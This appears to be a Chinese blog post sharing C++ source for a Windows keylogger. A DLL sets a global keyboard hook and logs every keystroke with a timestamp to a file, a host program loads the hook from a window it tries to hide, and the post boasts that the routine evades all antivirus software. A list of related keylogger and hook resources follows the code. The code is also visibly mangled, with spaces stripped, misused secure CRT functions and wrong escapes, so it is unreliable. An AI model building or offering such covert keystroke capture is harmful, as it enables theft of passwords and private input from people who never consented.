要实现键盘监听,有很多办法,本例程是使用的钩子程序实现的。
首先要建立一个动态库,源码如下(该源码来自网络,并非本人作品):
hookdll.cpp
- #include<windows.h>
- #include<time.h>
- #include"string.h"
- #include"stdio.h"
- HINSTANCEhInst;
- #pragmadata_seg("hookdata")
- HHOOKoldkeyhook=0;
- #pragmadata_seg()
- #pragmacomment(linker,"/SECTION:hookdata,RWS")
- time_tNowTime=0;
- #defineDllExportextern"C"__declspec(dllexport)
- DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam);
- DllExportvoidInstallHook(intnCode);
- DllExportvoidEndHook(void);
- BOOLWINAPIDllMain(HINSTANCEhInstance,
- ULONGWhat,
- LPVOIDNotUsed)
- {
- switch(What)
- {
- caseDLL_PROCESS_ATTACH:
- hInst=hInstance;
- break;
- caseDLL_PROCESS_DETACH:
- break;
- caseDLL_THREAD_ATTACH:
- break;
- caseDLL_THREAD_DETACH:
- break;
- }
- return1;
- }
- voidInstallHook(intnCode)
- {
- oldkeyhook=SetWindowsHookEx(WH_KEYBOARD,
- (HOOKPROC)KeyBoardProc,
- hInst,
- 0);
- }
- DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)
- {
- WPARAMj;
- FILE*fp;
- if(lParam&0x80000000)
- {
- j=wParam;
- fp=fopen_s("c://Eddy.txt","a");
- time(&NowTime);
- fprintf(fp,"%s",ctime_s(&NowTime));
- fprintf(fp,"%4d/n",j);
- fclose(fp);
- }
- returnCallNextHookEx(oldkeyhook,
- nCode,
- wParam,
- lParam);
- }
- voidEndHook(void)
- {
- UnhookWindowsHookEx(oldkeyhook);
- }
下面给出监听实现:
Header.h
- #pragmaonce
- #include<windows.h>
- #defineWINDOW_WIDTH1024
- #defineWINDOW_HEIGHT768
- #defineKEYDOWN(c)(GetAsyncKeyState(c)&0x8000?1:0)
- #defineKEYUP(c)(GetAsyncKeyState(c)&0x8000?0:1)
Header.cpp
- #pragmaonce
- #include<windows.h>
- #defineWINDOW_WIDTH1024
- #defineWINDOW_HEIGHT768
Windows.cpp
- #include"Header.h"
- #pragmacomment(lib,"hook")
- extern"C"__declspec(dllimport)voidInstallHook(intnCode);
- extern"C"__declspec(dllimport)voidEndHook(void);
- LRESULTCALLBACKWndProc(HWNDhWnd,UINTMessage,WPARAMwParam,LPARAMlParam)
- {
- switch(Message)
- {
- caseWM_CREATE:
- InstallHook(TRUE);
- break;
- caseWM_DESTROY:
- EndHook();
- PostQuitMessage(0);
- break;
- }
- returnDefWindowProc(hWnd,Message,wParam,lParam);
- }
- intWINAPIWinMain(INHINSTANCEhInstance,INHINSTANCEhPrevInstance,INLPSTRlpCmdLine,INintnShowCmd)
- {
- HWNDhWnd;
- MSGmsg;
- WNDCLASSwc={CS_VREDRAW|CS_HREDRAW,WndProc,NULL,NULL,hInstance,NULL,NULL,(HBRUSH)GetStockObject(BLACK_BRUSH),NULL,"Windows"};
- RegisterClass(&wc);
- hWnd=CreateWindowEx(WS_EX_TOPMOST,"Windows","demo",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL);
- SetWindowLong(NULL,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
- while(true)
- {
- if(GetMessage(&msg,NULL,0U,0U))
- {
- if(msg.message==WM_QUIT)
- {
- break;
- }
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- }
- UnregisterClass("Windows",hInstance);
- return0;
- }
经过测试,该例程可躲避所有反病毒软件的查杀。
分享到:
相关推荐
监控windows键盘输入 可以实现键盘输入后弹出输入的键盘是哪一个字幕,此程序仅用于学习 请不要用于不正当行为
通过对IOAPIC重定位技术的研究,实现了针对单核系统和多核系统的键盘监听和记录。在Windows Driver Kits7.0.1中编译生成的驱动,能够记录键盘信息,引起重要信息的泄露。通过提出的防御键盘监听的方法能够有效地预防...
此组件可以监听winodws的系统热键组合,是swing开发不错的选择,别错过
该实例程序使用Qt进行,windows的键盘后台监听,即使Qt桌面程序失去焦点在后台运行,也会捕捉到按键事件 这个程序使用windows的钩子(hook)实现的,Qt官方没有相关的实现 关于编译,我用的是Qt5.9.7 MinGW32位,我...
用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够 很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中 的具体实现分别对这两部分进行详细论述。 一、Hook(钩子)的...
WPF 使用windows钩子监控键盘,使用windows底层api,封装为c#代码,供wpf见面调用
这个是用windows实现检测键盘输入的程序。
全局使用钩子,监听鼠标与键盘 按键
编写简单的Windows键盘监听程序,使主机A可以记录主机B的按键操作。 可供参考的键盘监听实现方式: ·利用全局键盘钩子:程序设置全局键盘钩子,从而捕获按键消息,进行记录。 ·利用GetAsyncKeyState函数。该函数...
JAVA课程设计-计算器可响应键盘。加上好几个WINDOWS主题
Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;一...
Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;...
8.3 实现对服务的控制和管理 216 8.3.1 创建、删除服务 216 8.3.2 启动、停止服务,向服务发送控制请求 219 8.3.3 管理服务状态、配置服务、服务的依赖关系 222 第9章 图形用户界面 229 9.1 字符界面程序...
Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;一...
我在jBuilder里面用swing实现的该程序,其实很简单,就是调用了里面库文件的两个监听事件,当程序失去焦点以后仍然可以显示出当前鼠标的坐标。之所以上传是因为不少人可能对swt extension并不熟悉,导致自己用JNI...
4.3.5 查找文件、遍历指定目录下的文件和子目录 100 4.3.6 递归遍历目录树 103 4.3.7 获取、设置文件属性和时间 105 4.4 内存映射文件 110 4.4.1 使用Mapping File提高文件读写的效率 110 4.4.2 通过...
Linux系统捕获键盘事件,抓取键盘事件,...类似,windows下hook的作用,可以捕获事件。可以区分按下,抬起按键,长按等。再加上定时器,可以判断组合键,不是简单的shift+A, 可以实现A+B组合键。QT程序,可以直接运行。
我们可以利用windows提供的api函数来实现对系统键盘事件和鼠标事件的监听,主要利用的是SetWindowsHookEx函数,这个函数可以允许调用者传入一个钩子函数也叫回调函数,当指定的事件发生时,你 传入的函数就会被触发...
C#实现键盘鼠标全局钩子 VS2013,可编译运行,带DEMO 可全局拦截鼠标单击/双击/滚动事件 可全局拦截键盘按键事件 可锁定键盘鼠标输入,比如锁屏! 该代码无法屏蔽Ctrl +alt +delete 需要实现所有拦截,请参考相关...